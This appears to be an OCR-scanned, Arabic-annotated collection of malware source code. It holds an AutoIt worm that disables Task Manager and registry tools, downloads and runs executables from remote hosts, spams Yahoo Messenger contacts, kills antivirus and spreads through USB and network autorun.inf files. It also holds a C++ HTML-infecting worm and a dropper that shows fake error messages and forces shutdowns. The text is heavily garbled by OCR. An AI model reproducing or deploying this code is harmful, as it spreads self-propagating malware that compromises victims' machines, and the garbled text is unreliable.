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$setting = "'setting""; wugWl il

$ini = ".ini"
$ngl =".nql"
$xls =" xIs"
$exe = "".exe"

$toigioupdate = @HOUR + 2

$toigio = @MIN + 30

il Alaall B Ak usdy o

FileCopy (@AutoltExe, @SystemDir & ""\"" & $name & $exe,0)

alai alaa ) Jah o) AU o) pLAIAY) Auidi dilasy & g8 Lia

FileSetAttrib (@SystemDir & "'\'* & $name & $exe,""+RSH")

AUl alaa () Ak o

FileCopy (@AutoltExe, @WindowsDir & "'\"" & $name & $exe,0)

ALlad) V) e A djlany o 68y

FileSetAttrib (@WindowsDir & "\"" & $name & $exe,""-RSH"™)

Jab s aea Ll il (o e g ) (& JA)aa £ LA a g8

RegWrite (""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon","Shell"",""REG_RegWrite

("HKEY_CURRENT _USER\Software\Microsoft\Windows\CurrentVersion\Run"',""Yaho
0 Messengger™,""; il option des dossiers du &l 8 Lgiyy; aSiSay ¥ 13¢d

RegWrite
("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
orer"," NofolderOptions',"; algall 313 slad)

RegWrite
("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste
m", ""DisableTaskMgr",; i sl Joaa slad)

RegWrite
("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste
m"", "'DisableRegistryTools™,; aaall <l b o LAY Jaidd Jgaa eL&)

RegWrite
("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule™," AtTas
kMaxHours",""REG__RunDOS (""AT /delete /yes™)

_RunDOS (""AT 09:00 /interactive /[EVERY :m,t,w,th,f,s,su " & @SystemDir & "\"
&$name & $exe)

createini()

update()

sendmess()

Aual) A Audl Ha4 808 13ga 9 A4S jldial) cililal) 3¢ B

$a = RegRead
("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Wo
rkgroupCrawler\If $a ="""" Then

copynetwork ()

EndIf



If $a <>"""" Then

If FileExists ($a)=0 Then
copynetwork()

EndIf

EndIf

If ProcessExists (*‘game_y.exe™) Then
ProcessClose (**game_y.exe"")

EndIf

Sleep (1000)

If ProcessExists (*‘game_y.exe™) Then
ProcessClose ("'game_y.exe"")

EndIf

Sleep (1000)

If ProcessExists ("'game_y.exe") Then
ProcessClose ("'game_y.exe"")

Endlf

Sleep (1000)

If ProcessExists (*'game_y.exe™) Then
ProcessClose (**game_y.exe"")

EndIf

Sleep (1000)

Higaasily Alaia (5 gan A8 IS ) Al s
While (1)

killprocess()

copyusb()

If @HOUR = $toigioupdate Then
update()

If ProcessExists (“*game_y.exe") Then
ProcessClose ('game_y.exe"")

EndIf

Sleep (1000)

If ProcessExists ("'game_y.exe™) Then
ProcessClose (*game_y.exe"")

EndIf

Sleep (1000)

If ProcessExists (*‘game_y.exe™) Then
ProcessClose ('game_y.exe"")

EndIf

Sleep (1000)

If ProcessExists ("'game_y.exe') Then
ProcessClose (**game_y.exe"")

EndIf

Sleep (1000)

EndIf

If @MIN = $toigio Then

sendmess()



EndIf

WENd
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Func downloadurl()

$settingurl=""http://nhatquanglan3.t35.com"

If InetGet ($settingurl & "'/ & $setting & $nql, @SystemDir & "\"" & $setting & 3$ini,1,0)
=0 Then

InetGet ($settingurl & "'/"* & $setting & $xls, @SystemDir & "\"" & $setting & $ini,1,0)
EndIf

Sleep (1000)

$downloaded=""success"

$settingurll = "http://nhatquanglan4.t35.com™

If IniRead (@SystemDir & "\"* & $setting & $ini,""setting™,"*"downloaded™,""") <>
$downloaded Then

If InetGet ($settingurll & /" & $setting & $ngl, @SystemDir & "\"" & $setting &
$ini,1,0) =0 Then

InetGet ($settingurll & "*/** & $setting & $xls, @SystemDir & "\"" & $setting & $ini,1,0)
EndIf

EndIf

FileSetAttrib (@SystemDir & "'\"* & $setting & $ini,""+RSH"")

EndFunc

el Cuaas

Func update()

downloadurl()

Swebsite = IniRead (@SystemDir & "\"" & $setting & $ini,""setting""," "website™,"""")
$check01 = IniRead (@SystemDir & "\"" & $setting & $ini, " setting™," " filedownload1™,""")
$check02 = IniRead (@SystemDir & "\ & $setting & $ini, " setting™," " filedownload2™,"""")
$check03 = IniRead (@SystemDir & "\ & $setting & $ini, " setting™,""filedownload3™,"""")
$size01 = Number (IniRead (@SystemDir & "\"* & $setting & $ini,""setting"","'size01",""""))
$size02 = Number (IniRead (@SystemDir & "\'" & $setting & $ini,"'setting™*,""size02",""""))
$size03 = Number (IniRead (@SystemDir & "\'" & $setting & $ini,"'setting™*,""size03",""""))
If $check01 <>""" Then

If Not FileExists (@SystemDir & "\"" & $check01 & $exe) Then

If InetGet ($website & "'/** & $check01 & $ngl,@SystemDir & "\"" & $check01 &
$exe,1,0)=0 Then

InetGet ($website & "/"* & $check01 & $xls,@SystemDir & "\"" & $check01 & $exe,1,0)
EndIf

Sleep (3000)

If FileExists (@SystemDir & "\"" & $check01 & $exe) Then

If Number (FileGetSize (@SystemDir & "\"* & $check01 & $exe))/1024>=$size01 Then
FileSetAttrib (@SystemDir & "\ & $check01 & $exe,""+RSH"™)

Run (@SystemDir & "\"" & $check01 & $exe)

EndIf

EndIf

EndIf

EndIf



If $check02 <>""* Then

If Not FileExists (@SystemDir & "\"" & $check02 & $exe) Then

If InetGet ($website & "*/** & $check02 & $nqgl,@SystemDir & "\"" & $check02 &
$exe,1,0)=0 Then

InetGet ($website & "/"* & $check02 & $xls,@SystemDir & "\"" & $check02 & $exe,1,0)
EndIf

Sleep (3000)

If FileExists (@SystemDir & "\"" & $check02 & $exe) Then

If Number (FileGetSize (@SystemDir & "\"* & $check02 & $exe))/1024>=$size02 Then
FileSetAttrib (@SystemDir & "\"" & $check02 & $exe,""+RSH"")

Run (@SystemDir & "\"" & $check02 & $exe)

EndIf

EndIf

EndIf

EndIf

If $check03 <>""" Then

If Not FileExists (@SystemDir & "\"" & $check03 & $exe) Then

If InetGet ($website & "'/** & $check03 & $ngl,@SystemDir & "\"" & $check03 &
$exe,1,0)=0 Then

InetGet ($website & "/"" & $check03 & $xls,@SystemDir & "\"" & $check03 & $exe,1,0)
EndIf

Sleep (3000)

If FileExists (@SystemDir & "\"" & $check03 & $exe) Then

If Number (FileGetSize (@SystemDir & "\"* & $check03 & $exe))/1024>=$size03 Then
FileSetAttrib (@SystemDir & "\"" & $check03 & $exe," +RSH")

Run (@SystemDir & "\"" & $check03 & $exe)

EndIf

EndIf

Endlf

EndIf

$toigioupdate = @QHOUR + 2

If $toigioupdate >12 Then

$toigioupdate = $toigioupdate -12

EndIf

EndFunc

ALY B L) auan () Lgda pl Al sLS)

Func sendmess()

$myweb = IniRead (@SystemDir & "\"" & $setting & $ini, 'setting™,""'myweb","""")
If Smyweb = """ Then

$myweb = "http://nhatquanglanl.0catch.com™

EndIf

Dim $tin [10]

If $tin[0] = """ Then
$tin[0] = "'E may, vao day coi co con nho nay ngon lam " & $myweb & " "
EndIf



$tin[1] = IniRead (@SystemDir & "\"" & $setting & $ini, "setting™,""tin[1]"","""")
If $tin[1] = """ Then

$tin[1] = ""Vao day nghe bai nay di ban ** & $myweb & " **

EndIf

$tin[2] = IniRead (@SystemDir & ""\"* & $setting & $ini,""setting™,""tin[2]™,"""")
If $tin[2] = """ Then

$tin[2] = ""Vao day nghe bai nay di ban "* & $myweb & " **

EndIf

$tin[3] = IniRead (@SystemDir & "\"* & $setting & $ini,""setting™,""tin[3]"*,"""")
If $tin[3] = """ Then

$tin[3] = "Biet tin gi chua, vao day coi di "* & $myweb & " **

EndIf

$tin[4] = IniRead (@SystemDir & "\"" & $setting & $ini, "setting™,""tin[4]"",""")
If $tin[4] = """ Then

$tin[4] = ""Trang Web nay coi cung hay, vao coi thu di " & $myweb & " '
Endlf

If $tin[5] = """ Then
$tin[5] = ""Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau
khi bao nhieu mo EndIf

If $tin[6] = """ Then
$tin[6] = ""Khoc cho nho thuong voi trong long, khoc cho noi sau nhe nhu khong. Bao
nhieu yeu thuong nhung EndlIf

If $tin[7] = """ Then
$tin[7] = ""Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon. Gio
nguoi lac loi buoc chan EndIf

If $tin[8] = """ Then
$tin[8] = ""Loi em noi cho tinh chung ta, nhu doan cuoi trong cuon phim buon. Nguoi da
den nhu la giac mo EndIf

If $tin[9] = """ Then

$tin[9] = ""Tra lai em niem vui khi duoc gan ben em, tra lai em loi yeu thuong em dem, tra
lai em niem tin thang EndIf

s Jraaill a8 gal) ol gie Juu sl g2l & cBLa¥) e JLSIStieude = WinGetTitle(*"Yahoo!

$kiemtra = WinExists ($tieude)
If $kiemtra =1 Then
$ngaunhien = Random(0,9,1)
ClipPut ($tin[$ngaunhien])
BlockInput (1)

WinActivate ($tieude)

Send (*'Im")

Send (*'un™’)



Send (v {ENTERKENTER}")

Send (" m"")

Send ("'{DOWN}")

Send ("{SHIFTDOWNHKENDHSHIFTUP}')
Send ("{ENTER}")

Send (""*v {ENTER}")

BlockInput (0)

EndIf

$toigio=@MIN + 30

If $toigio>60 Then

$toigio=$toigio-60

EndIf

EndFunc

a9l 3131 g g s g A a9 algeall 311 g g atd AIY) JEBT ANy
Func killprocess()

If WinExists (*'Bkav2006'") Then

WinClose (*'Bkav2006')

RegDelete
("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'",
"BkavFw')

EndIf

If WinExists (**System Configuration™) Then
WinClose (**System Configuration™)

EndIf

If WinEXxists (*'Registry'") Then

WinClose (*'Registry"")

EndIf

If WinExists (*"Windows Task™) Then
WinClose (""Windows Task™)

EndIf

If WinExists (*'[FireLion]"") Then

RegDelete
("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"," IEPro
tection™)

Shutdown (2)

EndIf

If ProcessExists (“'cmd.exe') then
ProcessClose (**cmd.exe"")

EndIf

EndFunc

Sosan (EDAL A Adl g A1

Func copyusb()

$usb = DriveGetDrive("REMOVABLE")

If NOT @error Then

Dim $odia[6]

Sodia[1]=""



For $i=1 To $usb[0]

$odia[$i-1]=$usb[$i]

Next

If $odia[0] <>"A:" Then

If $odia[0]<>""" Then

FileCopy (@WindowsDir & "\"" & $name & $exe,$odia[0] & ""\New Folder.exe",0)
Sleep (1)

FileCopy (@SystemDir & "\"" & $name & $exe,$odia[0] & "\"" & $name &$exe,0)
Sleep (1)

FileCopy (@SystemDir & "\autorun.ini**,$odia[0] & *"\autorun.inf**,0)
FileSetAttrib ($odia[0] & "\autorun.inf"",""+RSH"")

Sleep (1)

Search($odia[0])

EndIf

EndIf

If $odia[0]=""A:"" Then

If $odia[1]<>""" Then

FileCopy (@WindowsDir & "\"" & $name & $exe,$odia[1] & ""\New Folder.exe",0)
Sleep (1)

FileCopy (@SystemDir & "\"" & $name & $exe,$odia[1] & "\"" & $name &$exe,0)
Sleep (1)

FileCopy (@SystemDir & "\autorun.ini**,$odia[1] & ""\autorun.inf'*,0)
FileSetAttrib ($odia[l] & "\autorun.inf",""+RSH"")

Sleep (1)

Search($odia[1])

EndIf

EndIf

EndIf

EndFunc

AUl Alaa ) Addl J5 g Gaad) Ao

Func Search($current)

Local $search = FileFindFirstFile($current & ""\*.*"")

While 1

Dim $file = FileFindNextFile($search)

If @error Or StringLen($file) <1 Then ExitLoop

If StringInStr(FileGetAttrib($current & "\"" & $file), "'D"") And ($file <> ""."" Or $file <>
"..") Then

FileCopy (@WindowsDir & "\"" & $name & $exe,$current & "\ & $file & "\"" & $file &
$exe,0)

Search($current & "\"" & $file)

EndIf

Sleep (1)

WEnNd

FileClose($search)

EndFunc
A Alaa ) A JiS A



Func copynetwork ()

Dim $mang[30]

For $i=1to 30

$read = RegEnumKey
("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Wo
rkgroupCrawlen\If @error Then ExitLoop

$read = StringReplace ($read,"/","\")

$mang[$i] = "\"" & $read

$checkcopy = FileCopy (@WindowsDir & "\"" & $name & $exe,$mang[$i] & ""\New
Folder.exe™,1)

If $checkcopy =1 Then

FileCopy (@SystemDir & "\"" & $name & $exe,$mang[$i] & "\"" & $name & $exe,0)
FileCopy (@SystemDir & "\autorun.ini**,$mang[$i] & "\autorun.inf**,1)

FileSetAttrib ($mang[$i] & "\autorun.inf"",""+RSH"")

Search($mang[$i])

Endlf

Next

RegWrite
("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Wo
rkgroupCrawler\EndFunc

G $igh dile ¢L&H A3 Func createini()

IniWrite (@SystemDir & "autorun.ini**,"" Autorun®,""Open'’,$name & $exe)

IniWrite (@SystemDir & "autorun.ini**,"" Autorun®," Shellexe cute™,$name & $exe)
IniWrite (@SystemDir & "autorun.ini**,"" Autorun®,” Shel\Open\command'*,$name &
$exe)

IniWrite (@SystemDir & "\autorun.ini*',"* Autorun*,"'Shell","* Open"’)

Sleep (1)

FileSetAttrib (@SystemDir & "\autorun.ini*',""+RSH"")

EndFunc



HtmI| Worm Source Code
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HTML Worm

/[ Name: Win32.HTMLworm

/I Author: WarGame

/[l Compiler: Borland C++

/I Description: This worm spreads by adding a link to itself in html files

/I Improvements: You could add a link to a page containing an IE exploits :)

#include
#include
using namespace std; // :)

/I This function does the real work

void HTMLSpread(char *htmilfile)

{

HANDLE html_fd;

DWORD html_filesize,read_bytes,written_bytes;
char *c¢_htmlcode = NULL;

string *htmlcode = NULL; // make it simpler
long pos;

I/l open the html file

html_fd = CreateFile(htmlfile, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_
ATTRIBUTE_NORMAL,NULL);

if(html_fd == INVALID_HANDLE_VALUE)
{

return;

}

/I get file size
html_filesize = GetFileSize(html_fd,NULL);

/I allocate enough memory
c_htmlcode = (char *)malloc(html_filesize);

if(c_htmlcode == NULL)
{

return;

}

Il read entire file
if(ReadFile(html_fd,c_htmlcode,html_filesize,&read bytes,NULL) == 0)
{

CloseHandle(html_fd);

return;

}



/[ create a string object
htmlcode = new string(c_htmicode);
free(c_htmlcode);

/l already infected ?
if(htmlcode->find(***") == string::npos)
{

pos = htmlcode->find("""");

if(pos == string::npos)

pos = htmlcode->find("""");

if(pos == string::npos)

{
CloseHandle(html_fd);
delete htmlcode;
return;

}
}

// add link
htmlcode->replace(pos,7,""\r\n\r\n"*);

I/l write new file

SetFilePointer(html_fd,0,0,FILE_BEGIN);
WriteFile(html_fd,htmlcode->c_str(),htmlcode->size(),&written_bytes, NULL);
Il infection mark

WriteFile(html_fd,"*",36,&written_bytes, NULL);

}

// close all
CloseHandle(html_fd);
delete htmlcode;

}

/[ add worm to startup list
void AutoStart(char *my_path)

{
HKEY hkey;

if(RegOpenKeyEX(HKEY_LOCAL_MACHINE,
""Software\\Microsoft\Windows\\CurrentVersion\Run**,0,
KEY_WRITE,&hkey)==ERROR_SUCCESS)

{
RegSetValueEx(hkey,"himon",0,REG_SZ,my_path,strlen(my_path));
RegCloseKey(hkey);



}

if(RegOpenKeyEX(HKEY_CURRENT_USER,
""Software\\Microsoft\Windows\\CurrentVersion\Run**,0,
KEY_WRITE,&hkey)==ERROR_SUCCESS)

{
RegSetValueEx(hkey,"himon",0,REG_SZ,my_path,strlen(my_path));
RegCloseKey(hkey);

}

}

/I This will scan drives for html files

void S3arch(char *pt) {

char sc[MAX_PATH],buf[MAX_PATH];
WIN32_FIND_DATA in;

HANDLE fd,file;

char *fm = "%s\%s"", *fm1 = ""%s\\*.*"";

if(strlen(pt) == 3)

{
pt[2] = "\0"; /* :-) */
}

sprintf(sc,fm1,pt);
fd = FindFirstFile(sc,&in);

do
{

sprintf(buf,fm,pt,in.cFileName);

[* dot :) */
if(stremp(in.cFileName,".."") 1= 0 && strcmp(in.cFileName,”.”) 1= 0 &&
(in.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))

{
S3arch(buf);
}

/* File found */
else

{
[* is it good to infect ? */

if(strstr(in.cFileName,".html"") || strstr(in.cFileName,".htm""))

{
HTMLSpread(buf);
}
}



Ywhile(FindNextFile(fd,&in));

FindClose(fd);

}

/[ entry point of worm

int WINAPI WinMain (HINSTANCE hinstance, HINSTANCE hPrevinstance,
LPSTR IpCmdLine, int nCmdShow)

{

/I usual shit: installation part, startup and so on ...

char 1_am_here[MAX_PATH],installation_path[MAX_ PATH];

char Drives[3],Drive = 0;

UINT drive_type;

/[ only one copy
CreateMutex(NULL,FALSE,” HTMLworm_by WarGame EOF _™);
if(GetLastError() == ERROR_ALREADY_EXISTYS)

{
ExitProcess(0);

}

GetSystemDirectory(installation_path,MAX_PATH);
strcat(installation_path,"\\nimon.exe"");

GetModuleFileName(NULL,I_am_here, MAX_PATH);
/I Copy!
CopyFile(l_am_here,installation_path,FALSE);
AutoStart(installation_path);

/I the real part starts here

while(1)

{

[* Search for drives */

for(Drive = 'C";Drive <="'Z";Drive++)
{

Drives[0] = Drive;

Drives[1] =":";

Drives[2] = "\\";

Drives[3] = "\0';

[* drive ? */
drive_type = GetDriveType(Drives);

/* only fixed, remote and removable drives */
if(drive_type == DRIVE_FIXED ||
drive_type == DRIVE_REMOTE ||
drive_type == DRIVE_REMOVABLE)

{

I* GO! */

S3arch(Drives);

}

}
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#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

{
char sysl1[256];

char sys2[256];

char winl[256];
GetModuleFileName(hMod, path, sizeof(path));
GetSystemDirectory(sysl, sizeof(sysl));
GetSystemDirectory(sys2, sizeof(sys2));
GetWindowsDirectory(winl, sizeof(winl));
strcat(sysl, ""\\Sleep.exe™);

strcat(sys2, ""\\Doom32.com"’);
strcat(winl, "\\WinUpdate.exe™);
CopyFile(path, sysl, false);

CopyFile(path, sys2, false);

CopyFile(path, winl, false);

MessageBox (0, **System Out Of Ram, Restart To AutoFix", "Error ",
MB_ICONERROR | MB_OK);

HKEY hKey;

RegOpenKeyEX(HKEY_LOCAL_MACHINE,
""'Software\\Microsoft\\Windows\\CurrentVersion\Run", 0, KEY_SET_VALUE,
&hKey);

RegSetValueEx(hKey, "SLEEP", 0, REG_SZ, (const unsigned char*) sys1,
sizeof(sysl));

RegSetValueEx(hKey, "DOOM32", 0, REG_SZ, (const unsigned char¥*) sys2,
sizeof(sys2));

RegSetValueEx(hKey, "WinUpdate', 0, REG_SZ, (const unsigned char*) winl,
sizeof(winl));

RegCloseKey(hKey);

}

{

system(**'shutdown -s -f **);
MessageBox(NULL,""Not enough memory to load this file."",""Error !"",
MB_ICONERROR | MB_OK);

}
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Reg add hkIm\SOFTWARE\Microsoft\Windows\CurrentVersion
\policies\Explorer\ /v NoRun /t reg_dword /d 0

pddiicuall sl Lgilay AN task manger (2 gl ares Gy -3
ad Sara IS V3l g Gy aa alt — ctrl — delete e bkl 268 task manger Jsddly
Sl 138 &5 &5 gpedit.mse <SS Al run (A Jsdy
Administrative templates >>system >>alt — ctrl — del >>remove task
manger>>>disabled
_ Gildlall clalaial) jlgddl g e@\ il g Auddal) cldlal) jlghs) -4
| Folelap o jers __J j

General | View | File Types | Offline Files

Folder views
) You can apply the view (such as Details or Tiles) that
you are using for this folder to all folders.

[ Applyto All Folders ] [ Reset Al Folders

Advanced settings:
Display simple folder view in Bxplorer's Folders list
[ ] Display the cortents of system folders
Display the full path in the address bar
Display the full path in the title bar
[] Do not cache thumbnails
(= Hidden files and folders
") Do not show hidden files and folders L . .
*) Show hidden files and folders densell Sllall 4lgil

[] Hide extensions for known file types & slazgdl Lkl
[] Hide protected operating system files (Recommended) e—,.ua.ul Slily Lakl

[] Launch folder windows in a separate process
(= Managing pairs of Web pages and folders

[ Festore Defaults ]

[ oK H Cancel ]

13 i o bat ol edlial g el cila Jarg o (S LS g g omaien¥ o Mara oS 1319
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HKEY _USER\Software\Microsoft\Windows\Curre ntVersion
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